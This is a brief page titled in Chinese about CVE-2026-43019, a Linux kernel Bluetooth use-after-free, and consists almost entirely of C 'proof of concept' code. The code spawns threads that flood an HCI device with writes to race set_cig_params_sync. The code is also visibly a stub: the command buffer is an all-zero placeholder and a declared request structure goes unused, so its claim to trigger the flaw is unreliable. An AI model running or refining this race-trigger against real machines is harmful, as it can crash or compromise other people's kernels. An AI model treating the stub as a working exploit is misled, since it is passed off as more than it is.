CVE-2026-43019 Linux内核蓝牙组件UAF漏洞

/* * PoC Concept for CVE-2026-43019 (Bluetooth UAF) * This code attempts to trigger the race condition in set_cig_params_sync. * Compile: gcc -o poc_bluetooth_uaf poc_bluetooth_uaf.c -lbluetooth */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <sys/socket.h> #include <bluetooth/bluetooth.h> #include <bluetooth/hci.h> // Function to simulate HCI connection stress void* hci_stress_thread(void* arg) { int dd = *((int*)arg); struct hci_request rq; // Placeholder for actual CIG parameter setup command unsigned char buf[1024] = {0}; while(1) { // Continuously send commands to trigger the vulnerable path // The goal is to hit the window between lookup and access write(dd, buf, sizeof(buf)); usleep(50); // Adjust timing to increase race window probability } return NULL; } int main() { int device_id = hci_get_route(NULL); if (device_id < 0) { perror("No Bluetooth device found"); return 1; } int dd = hci_open_dev(device_id); if (dd < 0) { perror("Cannot open device"); return 1; } pthread_t t1, t2, t3; // Spawn multiple threads to create contention on hci_conn pthread_create(&t1, NULL, hci_stress_thread, &dd); pthread_create(&t2, NULL, hci_stress_thread, &dd); pthread_create(&t3, NULL, hci_stress_thread, &dd); printf("Starting PoC to trigger UAF in set_cig_params_sync...\n"); pthread_join(t1, NULL); pthread_join(t2, NULL); pthread_join(t3, NULL); hci_close_dev(dd); return 0; }